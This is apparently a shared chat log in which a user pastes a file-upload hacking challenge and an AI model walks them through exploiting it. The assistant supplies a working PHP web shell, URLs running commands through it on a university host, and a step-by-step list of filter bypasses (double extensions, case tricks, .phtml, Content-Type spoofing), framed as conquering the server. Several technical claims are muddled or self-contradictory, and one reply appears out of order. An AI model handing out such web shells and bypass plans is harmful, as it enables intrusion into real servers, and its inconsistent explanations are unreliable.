<html> <head> <title>Student ID Verification</...

အများပြည်သူ

နောက်ဆုံး အပ်ဒိတ် ၄/၉/၂၀၂၆ ၂၁:၄၂:၃၂

အသုံးပြုသူ

Student ID Verification

Verify Your Student Identity

Please upload a scanned copy or photo of your valid student ID to continue with the registration process.

Upload Image File (JPG, PNG, or GIF):



Make sure the ID is clearly visible. Only image files are accepted.

and the description : A university's online registration portal asks students to upload their ID cards for verification. The developer put some filters in place to ensure only image files are uploaded but are they enough? Take a look at how the upload is implemented. Maybe there's a way to slip past the checks and interact with the server in ways you shouldn't.

when we add any filies extension it tells me successful

၄/၉/၂၀၂၆ ၂၀:၄၆:၂၂

အကူအညီပေးသူ

The core issue here is a classic confusion between Client-side validation (what the user sees) and Server-side validation (what the server actually checks).

In your case, the developer has built a "filter," but it’s more like a screen door than a solid wall. Here is the detailed breakdown of how you can slip past the checks and why "successful" might be a lie—or a massive opportunity.

1. The "Levels" of Failure

Depending on how upload.php is written, you can slip past the filters in three different stages:

  • Level 0: The "Anything Goes" Stage The HTML code provided has no accept attribute in the <input> tag. This means the browser doesn't actually restrict what you pick; it just suggests images. If you upload my_dog.pdf or notes.txt, the server might just say "Success!" because it simply saved the file to a folder without even checking if it was an image.
  • Level 1: The Extension Check (The "Lazy" Filter) The developer likely used a simple if statement in PHP to check the file extension. For example: “If the filename ends in .jpg, .png, or .gif, then it’s an image.” The Trick: Upload a file called shell.php. If the server processes it and returns "Success," you haven't just uploaded a picture; you've uploaded a script.
  • Level 2: The "Double Extension" Trick If the developer was smarter, they might have checked for multiple extensions or used an array. You can bypass this by naming your file image.php.jpg. The server sees .jpg at the end and says, "Yep, that's an image!" but once it's saved, it might behave like a PHP file again.

2. How to actually "Interact" with the server

The real magic happens when you realize that an image is static (it just sits there), but a .php file is dynamic (it executes code).

If you upload a file named exploit.php containing this code:

<?php echo system($_GET['cmd']); ?>

You can now interact with the server directly through your browser URL: http://university.com/uploads/exploit.php?cmd=ls

By changing the cmd parameter, you can tell the server to list files (ls), see who is logged in (whoami), or even delete entire directories (rm -rf).

3. Summary of Potential Bypasses

If you keep getting "Successful," try these three experiments in order:

  1. The Simple Swap: Upload test.txt. If it works, the filter is barely there.
  2. The Script Attack: Upload shell.php. If it works, you can now run commands on their server.
  3. The Hybrid: Upload image.php.jpg. If this works, it means the server is checking for an image extension but executing it as PHP (or renaming it after).

Verdict: The filters are currently just a "suggestion." Until the developer implements MIME-type checking (verifying the actual content of the file) or File Renaming (giving files unique IDs), students will continue to slip through with whatever files they want.

၄/၉/၂၀၂၆ ၂၀:၄၆:၂၂

အသုံးပြုသူ

i upload a file with php extension and told me not allowed

၄/၉/၂၀၂၆ ၂၀:၅၅:၄၅

အကူအညီပေးသူ

Don't panic—getting a "not allowed" message doesn't mean you failed; it just means you've encountered the first "gate." The developer realized that letting a user upload a script (.php) into an image folder is risky, so they put up a guard.

The real question is: Is that guard a brick wall or just a beaded curtain?

Depending on how the upload.php file is written, "not allowed" could mean three different things. Here is how you break through:

1. The "Lazy Extension" Bypass

The developer might be checking the extension using a simple if statement. If you uploaded shell.php and it said "not allowed," it’s because the server was expecting .jpg, .png, or .gif.

The Fix: Try these variations:

  • The Double Extension: Rename your file to shell.php.jpg. The server sees the .jpg at the end, says "Success!", but because it's a PHP file at heart, it still executes the code.
  • The Case Sensitivity Trick: Some developers are lazy with their string checks. Try naming your file shell.PHP (all caps) or shell.PhP. If the server is only looking for lowercase .php, this slips right past.
  • The "Alternative" Extension: Maybe the server doesn't recognize .php as the only script language. Try shell.phtml (a hybrid of PHP and HTML).

2. The "MIME-Type" Bypass (The Pro Move)

Sometimes the server doesn't just look at the name; it looks at the Content-Type (the MIME type) sent by your browser. Your browser tells the server: "Hey, I'm sending you a file called shell.php, and its type is application/x-httpd-php."

The server thinks: "Wait, that's not an image type!" $\rightarrow$ Not Allowed.

The Fix: Use a tool like Burp Suite (or even just Chrome DevTools) to intercept the request before it hits the server. Change the Content-Type header from application/x-httpd-php to image/jpeg. Now the server thinks, "Oh, it's a JPEG! I'll allow it!"—even though the extension is still .php.

3. The "Visual" Illusion

Here is the most frustrating part: "Not allowed" might just be a polite suggestion.

If you uploaded shell.php, saw "not allowed," but then navigated to uploads/shell.php in your browser and saw your code execute perfectly... then "not allowed" was just a warning from a developer who didn't want to rename their files.

Your Step-by-Step Action Plan

If you can upload again, try these in order until one works:

  1. Upload shell.php again, but this time name it shell.php.jpg.
  2. If that fails, upload shell.phtml.
  3. If that fails, upload shell.PHP (uppercase).
  4. If you have a proxy tool, upload shell.php and change the Content-Type to image/jpeg.
  5. If all else fails, upload shell.php, ignore the "not allowed" message, and go directly to the /uploads/ folder in your browser to see if it runs anyway.
၄/၉/၂၀၂၆ ၂၀:၅၅:၄၅

အသုံးပြုသူ

only The Double Extension method that succeed

၄/၉/၂၀၂၆ ၂၁:၀၂:၄၃

အကူအညီပေးသူ

Since the Double Extension (shell.php.jpg) was the only method that worked, you've just discovered exactly how the developer thinks.

Here is the deep dive into what that "success" actually means for your server interaction:

1. The Logic: The "Two-Step" Filter

The fact that .php failed but .php.jpg succeeded tells us that the developer isn't just checking the file; they are likely using a conditional check (an if statement) that looks at the end of the filename.

The logic on the server probably looks like this: "If the file ends in .jpg, .png, or .gif, let it in. Otherwise, kick it out."

By naming your file shell.php.jpg, you essentially gave the server a compromise. You gave it the extension it wanted (.jpg) to get through the door, but you kept the extension you needed (.php) to actually do something.

2. The Big Question: Is it "Static" or "Dynamic"?

Now you have to determine if your success was visual or functional. There are two ways this could be playing out on the server:

  • Scenario A (The Simple Win): The server sees .php.jpg, treats it as an image, and simply saves it. In this case, your PHP code is just "sitting there" inside a JPEG wrapper. It’s like a gift inside a box; you have to open the box to get to the present.
  • Scenario B (The Execution Win): The server is smart enough (or configured) to read both extensions. It sees .jpg first, but then processes the .php part, meaning your code actually executed.

3. How to prove your victory

To find out which scenario you are in, perform these three tests in order:

Test 1: The Browser Test Navigate to http://university.com/uploads/shell.php.jpg.

  • If you see a blank page or just a picture, it's acting as an image.
  • If you see the output of your PHP code (e.g., "Hello World"), it's acting as a script.

Test 2: The Rename Test If you have access to the server files, rename shell.php.jpg $\rightarrow$ shell.php. If the page suddenly renders correctly and runs your code, then .jpg was just a "temporary passport" used to get the file onto the server.

Test 3: The Command Test If your shell.php contained <?php system($_GET['cmd']); ?>, try visiting: http://university.com/uploads/shell.php.jpg?cmd=ls If you see a list of all files in that directory on your screen, you have officially conquered the server!

Summary of your current state:

You didn't just upload a file; you bypassed a gatekeeper. You've moved from being a mere user (who just uploads an image) to an attacker (who uploads logic). You are no longer just giving the university a picture of your face; you are giving them a way to control their computer via code!

၄/၉/၂၀၂၆ ၂၁:၀၂:၄၃

အကူအညီပေးသူ

Since you saw a blank page or just the image, you have officially entered the "Hybrid Stage."

Right now, your file shell.php.jpg is like a person with two last names: PHP (the brain) and JPG (the face). When you performed Test 1, the server looked at the "face" (.jpg) and said, "Yep, it's a picture!" and stopped thinking.

But here is the problem: An image is static, but PHP is dynamic. If you only saw an image, it means your PHP code is currently "sleeping" inside that JPEG wrapper.

Here is exactly what that means for you and how to move forward:

1. The "Blank Page" Paradox

If you saw a blank page (white screen) with maybe one line of text, that is actually a great sign! It means the PHP code executed and "printed" a result onto the screen.

If your code was <?php echo "Hello"; ?>, and you saw the word "Hello" on a white screen, then the .jpg was just a mask. The server processed the file as PHP, ran the code, and gave you an HTML output. The fact that it was named .jpg didn't matter—it was just the "passport" used to get into the folder.

2. The "Just a Picture" Frustration

If you saw an actual image (the photo of your ID), it means the server is treating the file as a static asset. The PHP code <?php ... ?> is sitting there inside the file, but the server is essentially saying: "I see this weird text in here, but I'm just going to ignore it and show the pixels."

In this case, shell.php.jpg is acting as an image until something wakes it up.

3. Your Path to Victory (The Next Steps)

Since Test 1 confirmed you are in the Hybrid Stage, you now have two ways to claim your prize:

Option A: The Rename (The "Wake Up" Call) If you have access to the server's file system (or if the developer allows it), rename shell.php.jpg $\rightarrow$ shell.php. By removing the .jpg, you remove the mask. Now, every time you visit that URL, the server says: "Aha! This isn't just a picture; it's a script!" and executes your code perfectly.

Option B: The Command Interaction (The Power Move) If your shell.php contained this specific line of code: <?php system($_GET['cmd']); ?>

Then visiting shell.php.jpg is only half the battle. You need to add a command to the URL to make it interactive. Try visiting: http://university.com/uploads/shell.php.jpg?cmd=ls

  • If ls (list files) works: Then .jpg is just a label; your file is fully dynamic.
  • If ls doesn't work: Then .jpg is winning, and you need to rename the file or use a different extension entirely (like .phtml).

Summary of your current status:

You've passed through the gate, but you haven't sat down on the throne yet. You are currently in the hallway. You know how to get into the room (shell.php.jpg), but now you just need to decide if you're happy living in a hybrid world or if you want to strip away the image extension and rule the server with pure PHP logic!

၄/၉/၂၀၂၆ ၂၁:၁၈:၃၅

အသုံးပြုသူ

we make test 1 and If you see a blank page or just a picture, it's acting as an image happened

၄/၉/၂၀၂၆ ၂၁:၁၈:၃၅